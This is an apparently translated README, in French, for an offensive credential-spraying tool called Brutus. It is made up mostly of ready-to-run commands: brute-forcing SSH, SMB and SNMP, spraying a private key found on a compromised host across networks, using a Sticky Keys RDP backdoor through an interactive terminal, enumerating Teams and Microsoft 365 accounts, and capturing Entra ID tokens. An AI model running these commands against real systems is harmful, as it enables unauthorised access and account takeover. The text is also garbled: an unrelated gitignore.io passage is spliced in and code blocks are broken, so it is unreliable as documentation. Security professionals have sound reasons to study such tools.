---

## Cas d'utilisation

### Tests de pénétration
- Valider les identifiants découverts sur plusieurs services lors d'évaluations internes
- Tester les schémas de réutilisation de mots de passe sur les services de base de données et de partage de fichiers
- Identifier les identifiants par défaut sur une infrastructure nouvellement déployée

### Opérations d'équipe rouge
- Validation rapide des identifiants après des fuites de mots de passe ou des campagnes de phishing
- Tester les opportunités de mouvement latéral à travers les services réseau
- Valider les identifiants compromis dans des environnements hétérogènes

### Pulvérisation de clés privées

Vous avez trouvé une clé privée sur un système compromis ? Pulvérisez-la sur le réseau pour découvrir où elle accorde également l'accès :```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
  nerva --json | \
  brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json

### Validation de la sécurité
- Tester les identifiants par défaut sur les services nouvellement déployés
- Valider l'application de la politique de mots de passe sur toutes les plates-formes
- Générer des pistes d'audit pour les évaluations de conformité et de sécurité

---

## Installation

### Binaires précompilés (Recommandé)

Télécharger depuis [GitHub Releases](https://github.com/praetorian-inc/brutus/releases):```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

### Installation de Go```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest

Chaque sous-commande a des alias pour la découvrabilité :

| Sous-commande | Alias |
|------------|---------|
| `creds` | `services`, `defaults`, `credentials` |
| `web` | `http`, `panels` |
| `snmp` | `community` |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
| `enum` | *(aucun)* |```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor

# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai

# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"

# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive

# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389

# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive

### Exemple de sortie```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)

Sortie JSON pour l'intégration de pipeline (ne produit que les identifiants valides) :```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}

#### Scénario 2 : Reconnaissance Bug Bounty sur un domaine cible```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
  nerva --json | \
  brutus creds

# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds

#### Scénario 4 : Test des clés SSH sur l'infrastructure```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
  nerva --json | \
  brutus badkeys --json -o ssh-key-findings.json

# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'

### Import d'outils de scan (Nmap et Masscan)

Brutus peut importer directement des cibles depuis les fichiers de sortie de scan **nmap** et **masscan**, éliminant le besoin de conversion de format ou d'outils intermédiaires.

#### Import XML Nmap (`--nmap-file`)

Importe des cibles depuis la sortie XML de nmap (`-oX`). Nmap fournit l'empreinte des services, donc Brutus associe automatiquement les services détectés au protocole correct :```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389

# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt

# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"

# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive

# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json

#### Combinaison avec d'autres flux de travail

Les options `--nmap-file` et `--masscan-file` fonctionnent avec toutes les sous-commandes et sont mutuellement exclusives avec `--target`, `--targets-file` et stdin :```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml

# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml

# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"

**Nerva URI** (sortie Nerva par défaut, pas besoin de `--json`):```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)

# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds

Brutus automatiquement :
- Analyse les formats JSON, URI et cibles nues
- Mappe les services aux protocoles
- Teste les identifiants par défaut appropriés
- Produit les résultats au format JSON correspondant

### Format de sortie du pipeline

Brutus ne produit que les identifiants réussis au format JSONL (un objet JSON par ligne) :```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}

### Collection de clés intégrées

| Produit | CVE | Utilisateur par défaut | Description |
|---------|-----|------------------------|-------------|
| Vagrant | - | vagrant, root | Clé non sécurisée de Vagrant (HashiCorp) |
| F5 BIG-IP | CVE-2012-1493 | root | Clé d'hôte SSH statique |
| ExaGrid | CVE-2016-1561 | root | Porte dérobée d'appliance de sauvegarde |
| Monroe DASDEC | CVE-2013-0137 | root | Systèmes d'alerte d'urgence |
| Barracuda | CVE-2014-8428 | cluster | Machine virtuelle de répartiteur de charge |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | Liaison hertzienne |
| Array Networks | - | sync | Appliances vAPV/vxAG |
| Quantum DXi | - | root | Appliances de déduplication |
| Loadbalancer.org | - | root | Répartiteurs de charge d'entreprise |

---

## Modes d'agressivité

Le paramètre global `--mode` (`-m`) contrôle l'agressivité sur toutes les sous-commandes. Il définit des préréglages d'optimisation des performances qui équilibrent la couverture par rapport à la sécurité :

| Mode | Threads | Timeout | Limite de débit | Gigue | Nouvelles tentatives | Cas d'utilisation |
|------|---------|---------|------------------|-------|----------------------|-------------------|
| `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | Environnements de production, éviter les verrouillages |
| `default` | 10 | 10s | Illimité | Aucun | 2 | Tests standards |
| `aggressive` | 20 | 10s | Illimité | Aucun | 3 | Environnements de laboratoire/CTF, couverture maximale |

Les préréglages de mode sont appliqués en premier, puis les options explicites de CLI les remplacent.```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt

# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt

# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20

Supported schemes:
- `socks5://` — Proxy SOCKS5 standard (résolution DNS côté client)
- `socks5h://` — SOCKS5 avec résolution DNS distante (utile pour cibler des noms d'hôte internes)

---

## Test des chaînes de communauté SNMP

La sous-commande `snmp` fournit un test dédié des chaînes de communauté SNMP v1/v2c avec des listes de mots hiérarchisées contrôlées par le drapeau global `--mode` :

| Mode | Chaînes | Couverture |
|------|---------|------------|
| `cautious` | ~25 | Chaînes courantes (public, private, community, etc.) |
| `default` | ~25 | Identique à cautious |
| `aggressive` | 200+ | Complet (spécifique aux fournisseurs, SCADA, caméras IP, stockage, etc.) |```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161

# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive

# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"

# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt

# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive

**Filtre** : "Out-of-Band (OOB)"

**Tri** : "-date"

**URL** : https://github.com/toptal/gitignore.io

---

La structure

Gitignore.io utilise une structure simple basée sur des modèles hiérarchiques. Il existe deux types de modèles :

* modèles de langages/frameworks de programmation (par ex. Python, Java, Ruby on Rails)
* modèles de plateforme (par ex. Windows, Linux, OSX)

Chaque modèle possède un nom unique, un ensemble d'alias et une liste ordonnée d'identifiants Stack courants. Dans le [répertoire data](https://github.com/toptal/gitignore.io/tree/master/data) vous trouverez des sous-répertoires qui définissent les différents types de modèles.

### Décomposition de la structure

Vous pouvez voir ici les éléments constitutifs de la structure :```go
package main

import (
    "fmt"
    "time"

    "github.com/praetorian-inc/brutus/pkg/brutus"
    _ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)

func main() {
    config := &brutus.Config{
        Target:        "192.168.1.100:22",
        Protocol:      "ssh",
        Usernames:     []string{"root", "admin"},
        Passwords:     []string{"password", "admin", "toor"},
        Timeout:       5 * time.Second,
        Threads:       10,
    }

    results, err := brutus.Brute(config)
    if err != nil {
        panic(err)
    }

    for _, r := range results {
        if r.Success {
            fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
        }
    }
}

**Comment ça fonctionne :**

1. **Détection** — Brutus sonde les cibles HTTP pour détecter le type d'authentification (Basic Auth vs formulaire)
2. **Identification de l'appareil** — Claude Vision analyse les captures d'écran pour identifier l'appareil/application
3. **Suggestions d'identifiants** — Claude suggère des identifiants par défaut à partir de ses données d'apprentissage
4. **Recherche Web optionnelle** — Perplexity (si configuré) recherche des identifiants supplémentaires en ligne
5. **Test** — Teste les identifiants découverts sur la cible

**Pour les cibles HTTP Basic Auth :**
- Sonde `/` pour capturer les en-têtes HTTP
- Identifie l'appareil à partir de l'en-tête Server, du domaine WWW-Authenticate, etc.
- Claude suggère des identifiants par défaut probables
- Teste les paires d'identifiants automatiquement

**Pour les cibles HTTP par formulaire d'authentification :**
- Utilise Chrome sans tête pour rendre et capturer la page
- Claude Vision identifie le formulaire de connexion, le type d'appareil et suggère des identifiants
- Perplexity (optionnel) recherche des identifiants par défaut supplémentaires
- L'automatisation du navigateur remplit et soumet le formulaire

**Prérequis :**
- `ANTHROPIC_API_KEY` — **Requis** pour Claude Vision (identification de l'appareil + suggestions d'identifiants)
- `PERPLEXITY_API_KEY` — *Optionnel* pour une recherche Web supplémentaire
- Chrome/Chromium installé (pour l'authentification par formulaire uniquement)

**Les protocoles non-HTTP (SSH, MySQL, etc.) ne sont pas affectés par `--experimental-ai`** — ils continuent à utiliser les tests d'identifiants standards.

---

## RDP : Détection et exploitation du backdoor Sticky Keys

Brutus inclut la détection automatique du **backdoor Sticky Keys** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) sur les cibles RDP. Cette vérification pré-authentification s'exécute sur les cibles RDP non-NLA — aucun identifiant requis.

**Comment ça fonctionne :**

1. Se connecte à la cible RDP et négocie une session non-NLA
2. Capture le bitmap de l'écran de connexion comme référence
3. Envoie 5x la touche Maj (le déclencheur des touches rémanentes)
4. Capture le bitmap de réponse
5. Une analyse heuristique détecte si une fenêtre de terminal est apparue (cmd.exe, PowerShell, etc.)
6. Confirme éventuellement via l'API Claude Vision (lorsque `ANTHROPIC_API_KEY` est définie)```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389

# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai

**Résultat de la détection:**```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.

Cela se connecte, déclenche la porte dérobée, tape la commande, appuie sur Entrée, attend la sortie, et enregistre une capture d'écran PNG du résultat.

### Terminal Web Interactif (`--web`)

Lancez un visualiseur RDP basé sur navigateur pour une interaction en direct avec l'invite de commande de la porte dérobée :```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web

**Technical implementation:** Le support du protocole RDP utilise [IronRDP](https://github.com/Devolutions/IronRDP) (Rust) compilé en WebAssembly et exécuté via [wazero](https://github.com/tetratelabs/wazero), conservant la conception zéro-CGO et binaire unique de Brutus.

---

## Énumération des comptes

La sous-commande `enum` énumère quels oracles d'existence de compte fonctionnent pour une organisation (et énumère les courriels par rapport à eux) ou énumère les utilisateurs Active Directory, le tout sans envoyer de mots de passe.

### Énumération des oracles d'existence de compte

Identifiez quels oracles d'existence de compte non authentifiés (microsoft365, google, github, plus l'oracle Microsoft Teams) fonctionnent pour une organisation, validez-les par rapport à un utilisateur connu valide, puis énumérez les courriels candidats par rapport aux oracles fonctionnels. La reconnaissance DNS TXT révèle les oracles candidats ; la validation par rapport à `--known-valid` est le point principal. `--known-valid` est requis, et l'énumération ne s'exécute que contre les oracles qui le confirment :```bash
# Discover candidate oracles via DNS and report which ones work
brutus enum active oracles --domain example.com --known-valid [email protected]

# Enumerate specific emails against the working oracles
brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]

# Enumerate emails from file
brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]

# Generate emails from embedded name lists and enumerate against working oracles
brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]

# Discover working oracles with a known-valid email before large-scale enumeration
brutus enum active oracles discover --domain example.com --known-valid [email protected]

### Génération d'email/nom d'utilisateur

Générer des adresses email ou des noms d'utilisateur à partir de listes de prénoms/noms intégrées :```bash
# Generate emails: [email protected]
brutus enum generate --domain example.com --format flast

# Generate usernames only (no domain): jsmith
brutus enum generate --format flast

# Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
brutus enum generate --domain example.com --format first.last

---

### Microsoft Teams / Entra ID Authentication

Obtenez un jeton d'accès OAuth2, un jeton d'actualisation et un jeton d'ID depuis Microsoft Entra ID (Azure AD) en utilisant le [flux de code d'appareil](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-device-code) (RFC 8628). Les jetons résultants peuvent être utilisés pour les appels à l'API Microsoft Graph, l'énumération des Teams, et l'audit via des outils comme [ROADtools](https://github.com/dirkjanm/ROADtools) ou des requêtes Graph personnalisées.```bash
# Authenticate against the common endpoint (any Microsoft tenant)
brutus enum active teams auth

# Authenticate against a specific tenant by domain or GUID
brutus enum active teams auth --tenant contoso.com
brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000

# Request a different resource scope (space-separated). The default targets the
# Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
# authorized for Microsoft Graph (Graph yields AADSTS65002).
brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"

# Use a custom app registration (your own Azure app client ID)
brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000

# Capture the full token set as JSONL for piping to other tools
brutus enum active teams auth -o tokens.jsonl
brutus enum active teams auth --json

#### Énumération des utilisateurs de Teams

Une fois authentifié, énumérez les utilisateurs Teams d'entreprise par adresse e-mail. Chaque
résultat est `exists`, `blocked` (le locataire interdit la recherche externe mais l'utilisateur
peut exister), `not found`, ou `unknown` (échec d'authentification/transport). Les comptes personnels/Live
ne sont pas pris en charge — locataires d'entreprise uniquement.```bash
# Device-code auth inline, then enumerate a couple of emails
brutus enum active teams users -e [email protected],[email protected]

# Generate candidate emails for a domain and enumerate the most-likely 5000
# (presence and out-of-office are gathered by default; use --no-presence to skip)
brutus enum active teams users --domain target.com --format first.last --limit 5000

# Enumerate emails from a file
brutus enum active teams users -E emails.txt

# Reuse a token captured earlier and route through a SOCKS5 proxy
brutus enum active teams auth -o token.jsonl
brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080

# Provide an access token directly
brutus enum active teams users -e [email protected] --access-token "$TOKEN"

`--domain` réutilise le même générateur de prénoms/noms classé par fréquence que
`enum generate` ; `--format` sélectionne la disposition des noms d'utilisateur et `--limit` plafonne
la génération aux N premiers candidats (les plus probables). `--domain` peut être combiné
avec `-e`/`-E`.

---

## Limitations connues

### Détection heuristique des Sticky Keys

- **Alternance de faux négatifs :** La détection uniquement heuristique (`brutus logon` sans `--experimental-ai`) peut produire des faux négatifs lors d'analyses répétées sur la même cible. Après une détection réussie, la fenêtre cmd.exe reste ouverte sur le serveur. Les connexions suivantes voient le cmd.exe dans l'image de référence, et comme l'envoi de 5x Maj n'a pas créé de nouvelle fenêtre, la différence de pixels est minime — ce qui donne un verdict « propre ». Cela n'affecte pas le mode `--experimental-ai`, qui utilise l'analyse de l'API Vision directement sur l'image de réponse (pas une différence entre référence et réponse) et identifie de manière fiable la fenêtre de terminal quel que soit l'état antérieur.
- **Solution :** Utilisez `--experimental-ai` avec `ANTHROPIC_API_KEY` défini pour une détection cohérente sur plusieurs analyses, ou laissez un temps de refroidissement entre les analyses pour que la session RDP se réinitialise.

### Plugin navigateur

- Nécessite Chrome/Chromium installé localement
- Le mode sans tête peut ne pas fonctionner sur tous les systèmes
- Certaines pages de connexion lourdes en JavaScript peuvent nécessiter un temps d'attente supplémentaire